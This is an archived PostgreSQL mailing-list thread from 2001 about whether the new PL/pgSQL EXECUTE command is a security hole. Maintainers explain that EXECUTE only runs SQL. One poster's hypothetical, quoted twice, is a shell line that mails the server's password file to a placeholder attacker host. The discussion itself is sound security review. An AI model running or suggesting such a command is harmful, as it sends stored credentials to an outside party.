Security hole in PL/pgSQL

Jan Wieck <janwieck@Yahoo.com> writes:

the new EXECUTE command in PL/pgSQL is a security hole.
PL/pgSQL is a trusted procedural language, meaning that
regular users can write code in it. With the new EXECUTE
command, someone could read and write arbitrary files under
the postgres UNIX-userid using the COPY command.

Huh? This would only be true if all operations inside plpgsql are
executed as superuser, which they are not. Seems to me the existing
defense against non-superuser using COPY is sufficient.

regards, tom lane

the new EXECUTE command in PL/pgSQL is a security hole.

This actually depends but I must admit that I'm concerned too. However,
the responsibility for the results should be split adequately IMHO. DBAs
should take care about unathorized access to PGSQL server, that's why
pg_hba.conf is there. Programmers allowed in must make sure that only
relative paths or trusted directories are accessed (stripping out `../' and
prepending a pre-defined path is a must) Also, implementation of EXECUTE
should probably rely upon execle() with environment dropped to known secure
minimum.
Sorry if this all is already taken into consideration. Just want to second
Jan's statement.

--

������������������������������������

Tom Lane wrote:

Jan Wieck <janwieck@Yahoo.com> writes:

the new EXECUTE command in PL/pgSQL is a security hole.
PL/pgSQL is a trusted procedural language, meaning that
regular users can write code in it. With the new EXECUTE
command, someone could read and write arbitrary files under
the postgres UNIX-userid using the COPY command.

Huh? This would only be true if all operations inside plpgsql are
executed as superuser, which they are not. Seems to me the existing
defense against non-superuser using COPY is sufficient.

Phew,

you save my day. I should better think twice before ringing
the alarm bell :-)

Jan

--

#======================================================================#
# It's easier to get forgiveness for being wrong than for being right. #
# Let's break this rule - forgive me. #
#================================================== JanWieck@Yahoo.com #

_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com

Huh? This would only be true if all operations inside plpgsql are
executed as superuser, which they are not. Seems to me the existing
defense against non-superuser using COPY is sufficient.

Sorry if I missed the point, but if I got it right, Pl/Pgsql EXECUTE will
allow execution of any program via exec*() call? If so, this will allow any
(system) user to execute arbitrary code as postgres (system) user, right?
If so, how can something like

EXECUTE '/bin/mail badguy@evilhost < /usr/pgsql/data/pg_pwd';

be avioded?

--

������������������������������������

On Mon, 29 Jan 2001, KuroiNeko wrote:

Sorry if I missed the point, but if I got it right, Pl/Pgsql EXECUTE will
allow execution of any program via exec*() call? If so, this will allow any
(system) user to execute arbitrary code as postgres (system) user, right?
If so, how can something like

EXECUTE '/bin/mail badguy@evilhost < /usr/pgsql/data/pg_pwd';

Being as I was sort of the person who got EXECUTE into plpgsql... I find
it odd that people think you can execute random shell commands.. AFAICS,
EXECUTE is used to execute SQL queries (for when you don't want to cache
the query plan?) ...

EXECUTE '' CREATE TABLE '' || NEW.dbs_name || '' (
'' || NEW.dbs_name || ''_id serial,
'' || NEW.dbs_name || ''_name varchar(20),
'' || NEW.dbs_name || ''_desc text,
'' || NEW.dbs_name || ''_qty int4
);'';

I don't see how anybody could think you are allowed to execute random
garbage through exec*()...

--
Dominic J. Eidson
"Baruk Khazad! Khazad ai-menu!" - Gimli
-------------------------------------------------------------------------------
http://www.the-infinite.org/ http://www.the-infinite.org/~dominic/

KuroiNeko wrote:

Huh? This would only be true if all operations inside plpgsql are
executed as superuser, which they are not. Seems to me the existing
defense against non-superuser using COPY is sufficient.

Sorry if I missed the point, but if I got it right, Pl/Pgsql EXECUTE will
allow execution of any program via exec*() call? If so, this will allow any
(system) user to execute arbitrary code as postgres (system) user, right?
If so, how can something like

EXECUTE '/bin/mail badguy@evilhost < /usr/pgsql/data/pg_pwd';

be avioded?

No, EXECUTE just passes a string down to SPI_exec() without
trying to prepare and save an execution plan for it. It's not
equivalent to system(3).

Jan

--

#======================================================================#
# It's easier to get forgiveness for being wrong than for being right. #
# Let's break this rule - forgive me. #
#================================================== JanWieck@Yahoo.com #

_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com

Being as I was sort of the person who got EXECUTE into plpgsql... I find
it odd that people think you can execute random shell commands.. AFAICS,
EXECUTE is used to execute SQL queries (for when you don't want to cache
the query plan?) ...

Got it. Thanks. Sorry for the hassle. Back lurking in the shadows.

--

������������������������������������